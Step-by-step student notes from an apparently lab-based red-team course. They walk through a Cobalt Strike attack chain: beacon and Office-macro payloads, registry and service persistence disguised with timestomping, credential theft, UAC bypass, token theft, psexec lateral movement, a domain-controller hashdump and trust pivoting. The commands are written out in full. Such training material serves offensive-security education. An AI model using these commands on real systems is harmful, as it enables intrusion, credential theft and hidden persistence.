**Lab 1**

* Open Chrome – “https://172.30.100.<student#>:8006
* Open Terminal (Team Server)
  + Retrieve “cobaltstrike-trial.tgz” from share if necessary
  + “cd” to the correct directory and run “tar –xvf cobaltstrike-trial.tgz” – Should be under root
  + “cd cobaltstrike”
  + “./teamserver” (To check syntax)
  + “./teamserver <redirectorIP> <createPassword>” You will use this password again
  + Do not close terminal
* Open a second terminal (Cobalt Strike)
  + “./cobaltstrike”
  + Cobalt will open and fill out pop-up window – Enter password you just created
  + Hit “connect”
* Create a listener
  + Listener name ex: “HTTPS\_74.28.31.46”
  + Change dropdown to HTTPS
  + Port 443
* Open a third terminal (SSH)
  + “ssh –R <redirectorIP>:443:127.0.0.1:443 root@<redirectorIP>
  + Use password found in “Lab Information” for Redirector
  + Optional – “netstat –pantu” – “State” should say “Established”
* Open Firefox “https://74.28.31.46” - Blank page should appear
* “View” – “Web Log” to confirm Firefox appeared
* Go to “Attacks” – “Packages” – Choose “Windows Executable (S)” – “Generate”
  + Create folder titled “Payloads”
  + Within that folder create another folder with a detailed name such as “Windows32\_74.28.31.46\_HTTPS”
  + Save “beacon.exe” to Desktop
* Go to your files and post the beacon you just created to the share
* Go to Windows VM and open share
  + Double click beacon.exe – Drag file to Desktop to open if it doesn’t work
* Go back to Kali VM and you should see the activity there

**Lab 3**

* Go to Kali terminal
* “which dnsrecon” – Locates command
* “cd /usr/bin”
* “nmap –sT 172.16.20.0/24 –T4 --top-ports 1000 –oA scanof\_172.16.20.0.0-24 –n”  
  This is the target subnet
* “dnsrecon –t rvl –n 172.16.20.10 --xml /root/Desktop/dnsreconoutput –r 172.16.20.0/24”
* This IP is the Domain Controller (172.16.20.10)

**Lab 4**

* Go to Cobalt Strike
* Go to “Attack” – “Packages” – “MS Office Macro”
  + Select HTTPS – Click “Generate” – Click “Copy Macro”
* Open Leafpad
  + Paste – Save to Desktop as “macro.txt”
* Open share and copy over “macro.txt”
* Go to Windows VM to check if the file is there
  + Open with WordPad
  + Copy all
* Open Excel – View – Macros
  + Use “init” as the title
  + Click “Create”
  + Remove what’s in the file then paste
  + Save to Desktop
  + Use the format Excel 97-2003 Workbook so the file won’t save as .xlsm
  + Open the Excel file you just created and click enable to test if it works
  + Check Kali VM to verify it worked
* Inform instructors to get a macro
* Cobalt Strike should show user popped up from enabling macro

**Lab 5**

* In Linux VM, go to your beacon and right click and select “Interact”
* Within the beacon terminal:
  + “sleep 2”
  + “shell tasklist /v” to view domain and user
  + “shell net user Guy.Fleegman /domain” to run as Guy
  + “cd C:\users\guy.fleegman\appdata\local\temp”
  + “pwd” to view current directory
  + “shell systeminfo” - Next to “System Type” will show x64 or x32
  + “ls” to list files
  + “upload /root/Desktop/Payloads/Windows32\_74.28.31.46\_HTTP/wm.exe
    - This .exe payload should be a name that blends in with files in the current folder
  + “timestomp wm.exe wmsetup.log”
  + “ls” to double check file was added and time stamp was correctly changed
  + ‘shell REG ADD “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v “wm” /t REG\_SZ /F /D “C:\users\guy.fleegman\AppData\Local\Temp\wm.exe’
  + “shell shutdown /r /t 0 /f”
  + New callback should appear

**Lab 7**

* Escalate privileges to SYSTEM
* Find Guy Fleegman’s credentials
  + “cd C:\users\guy.fleegman\Desktop”
  + “ls”
  + “download pass.txt”
  + “View” – “Downloads”
  + Select download – Click “Sync Files” – Save file to Desktop
* “cd C:\Users\Public”
* “upload” – Select executable
* “runas SPRINGFIELD\guy.fleegman.da <password> C:\Users\Public\wm.exe”

(Make sure to include the full path)

* Interact with .da callback
  + “bypassuac”
* Select listener then click “Choose”
* “\*” should pop up under callbacks

**Lab 8**

* Gaining Persistence
* Ensure you’re in C:\Windows\System32
* Under \* callback create executable – This time output is “Windows Service EXE” – Choose name that blends in with the above folder
* “upload” – Select services executable you just created
* “timestomp services\_pa.exe services.msc”
* ‘shell sc create services\_pa binPath= “C:\Windows\System32\services\_pa.exe” DisplayName= “Services PA” start= auto’
* ‘shell sc description services\_pa “Description here”’
* “shell sc start services\_pa”
* “shell shutdown /r /t 0 /f”
* New SYSTEM\* should pop up – Interact with it

**Lab 9 & 10**

* Under SYSTEM\*
* “make\_token SPRINGFIELD\guy.fleegman.da <password>”
* “shell tasklist /v /s \\172.16.20.10”
* Create listener – SMB – port 8080
* “psexec\_psh 172.16.20.10 SMB”
* “link” if didn’t connect on first try
* Go to new DC callback – Interact
  + “hashdump”

**Lab 11**

* Interact with DC
* “shell dsquery.exe \* -filter “(objectclass=user)” –attr \* -limit 2”
* “shell dsquery.exe \* -filter “(&(objectclass=computer)(operatingsystem=\*windows 7\*))” –attr name operatingSystem operatingSystemVersion description –limit 10”
* Three workstations fit this criteria. Already have control over SPRWS-32.
* Chose SPRWS-19
* “shell nslookup <name>”
* Compare IP address to off limits list. If not on there then proceed
* “make\_token SPRINGFIELD\guy.fleegman.da <password>”   
  - Because can’t run psexec from SYSTEM
* Create SMB listener (use port 8080) or use the other listener you created
* “psexec\_psh 172.16.20.144” – Then it will ask to choose a listener
* “rev2self” to return to SYSTEM
* Open callback showing the new IP under “internal”
* Gain persistence
  + Ensure you’re in C:\Windows\System32
  + “shell systeminfo” to see if x64 or x32
  + “upload” select services executable made earlier
  + “timestomp services\_pa.exe services.msc”
  + ‘shell sc create services\_pa binPath= “C:\Windows\System32\services\_pa.exe” DisplayName= “Services PA” start= auto’
  + ‘shell sc description services\_pa “Description here”’
  + “shell sc start services\_pa”
  + “shell shutdown /r /t 0 /f”
  + New SYSTEM\* should pop up – Interact with it

**Lab 12**

* Must run dsquery through DC
* “shell dsquery.exe \* -filter “(objectclass=trusteddomain)” –attr flatname trustdirection”
* Under “ps” found “explorer.exe” with user “ERSHON\Administrator”
* “steal\_token 2972” – Use PID for explorer.exe
* “shell ipconfig /all”
* “shell nslookup IP” on IP under “DNS Servers” command should tell you if that IP is a DC. DC usually end in .10
* “psexec\_psh 172.16.5.10” – Will ask to select SMB listener
* “ERSHON-DC1” – Should show as a new callback

**Clean Up**

* Go to callback “ERSHON-DC1”
  + “ps” – The “PID” of the callback matches the “powershell.exe”
  + “exit” – Should lose link
* Got to callback “SPR-DC1”
  + “exit”
* Go to “SPRWS-19”
  + “ps” – Find upnpcont.exe and PID
  + “shell start C:\Windows\System32\upnpcont.exe”
  + “inject 1680 x86” – Will ask for HTTPS listener
* A new callback should appear with this PID – Interact with it
  + “rm services\_pa.exe” The file I made earlier
* If used “psexec\_psh” command - powershell should be running in processes
* If used a service, check by using “shell sc qc services\_pa”
  + To delete – “shell sc delete services\_pa”
* “shell taskkill /PID <PID#> /f” – This is the PID for rundll32 and this command kills the process
* “exit